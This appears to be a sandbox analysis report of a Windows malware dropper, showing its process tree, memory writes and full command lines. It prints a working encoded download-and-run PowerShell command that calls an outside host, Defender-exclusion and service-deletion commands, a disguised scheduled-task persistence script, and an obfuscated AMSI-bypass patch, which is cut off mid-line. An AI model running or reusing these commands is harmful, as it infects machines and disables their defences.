Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 8 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 8 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 8 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 8 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 8 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 4524 wrote to memory of 3900 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4524 wrote to memory of 3900 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4524 wrote to memory of 3900 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3900 wrote to memory of 312 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 3900 wrote to memory of 312 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 3900 wrote to memory of 3968 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 3900 wrote to memory of 3968 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 3900 wrote to memory of 3968 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 3900 wrote to memory of 3292 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 3900 wrote to memory of 3292 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 3900 wrote to memory of 1340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 3900 wrote to memory of 1340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 3900 wrote to memory of 1340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 312 wrote to memory of 4692 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\System32\Wbem\wmic.exe
PID 312 wrote to memory of 4692 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\System32\Wbem\wmic.exe
PID 312 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 312 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 4036 wrote to memory of 4400 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4036 wrote to memory of 4400 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 312 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 312 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 3880 wrote to memory of 3612 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3880 wrote to memory of 3612 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2348 wrote to memory of 2012 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 2012 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 1884 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 1884 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 2140 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 2140 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 4480 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 4480 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 4872 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 4872 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2348 wrote to memory of 1376 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 1376 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 4612 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 4612 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 1732 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 1732 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 4508 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 4508 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 1500 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 2348 wrote to memory of 1500 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 3292 wrote to memory of 2500 N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe C:\Windows\System32\dialer.exe
PID 3968 wrote to memory of 1548 N/A C:\Users\Admin\AppData\Local\Temp\C4Loader.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3968 wrote to memory of 1548 N/A C:\Users\Admin\AppData\Local\Temp\C4Loader.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe

"C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 8 -ip 8

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 8 -s 244

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="

C:\Users\Admin\AppData\Local\Temp\new2.exe

"C:\Users\Admin\AppData\Local\Temp\new2.exe"

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"

C:\Windows\System32\Wbem\wmic.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

cmd /C "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

cmd /C "wmic cpu get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic cpu get name

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:TruyCuTxhqeC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rWtKulrIXNhBfj,[Parameter(Position=1)][Type]$JvvRBpvHRB)$KHXsrobqSBP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+'t'+'e'+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'ga'+[Char](116)+'e'+'T'+''+[Char](121)+'pe',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s'+','+''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+''+'e'+'a'+'l'+''+'e'+''+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'las'+[Char](115)+''+','+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'ass',[MulticastDelegate]);$KHXsrobqSBP.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'Si'+'g'+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$rWtKulrIXNhBfj).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$KHXsrobqSBP.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+''+[Char](107)+'e',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+'w'+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$JvvRBpvHRB,$rWtKulrIXNhBfj).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+'d');Write-Output $KHXsrobqSBP.CreateType();}$zxeMTgfQdJLaI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+'m'+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'U'+[Char](110)+''+'s'+''+[Char](97)+''+'f'+'e'+[Char](122)+''+'x'+''+'e'+'M'+[Char](84)+''+[Char](103)+'f'+'Q'+''+[Char](100)+''+[Char](74)+''+[Char](76)+''+[Char](97)+'I');$FZgMdZkmMayzLT=$zxeMTgfQdJLaI.GetMethod(''+'F'+''+[Char](90)+''+'g'+''+[Char](77)+'d'+[Char](90)+'k'+[Char](109)+'M'+'a'+''+'y'+'z'+[Char](76)+''+'T'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'t'+[Char](97)+''+[Char](116)+'ic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bqaCfhBWQNumKxMPqJW=TruyCuTxhqeC @([String])([IntPtr]);$JsrzbHtQeJhxphximWyXnx=TruyCuTxhqeC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FJHJejFlYwO=$zxeMTgfQdJLaI.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+'ul'+[Char](101)+''+[Char](72)+'a'+'n'+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+'n'+'e'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$PnuwsYQpRoQhrv=$FZgMdZkmMayzLT.Invoke($Null,@([Object]$FJHJejFlYwO,[Object]('L'+[Char](111)+'ad'+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$PPgTBDGRDDaxlkMyZ=$FZgMdZkmMayzLT.Invoke($Null,@([Object]$FJHJejFlYwO,[Object](''+[Char](86)+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+'l'+'P'+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$CaarRAF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PnuwsYQpRoQhrv,$bqaCfhBWQNumKxMPqJW).Invoke('a'+[Char](109)+''+[Char](115)+'i.'+'d'+'ll');$EJheCWKHkYZDhpZNp=$FZgMdZkmMayzLT.Invoke($Null,@([Object]$CaarRAF,[Object](''+[Char](65)+''+'m'+'s'+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+'f'+''+'e'+''+[Char](114)+'')));$EjLXHUfefm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PPgTBDGRDDaxlkMyZ,$JsrzbHtQeJhxphximWyXnx).Invoke($EJheCWKHkYZDhpZNp,[uint32]8,4,[ref]$EjLXHUfefm);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$EJheCWKHkYZDhpZNp,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PPgTBDGRDDaxlkMyZ,$JsrzbHtQeJhxphximWyXnx).Invoke($EJheCWKHkYZDhpZNp,[uint32]8,0x20,[ref]$EjLXHUfefm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+''+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+'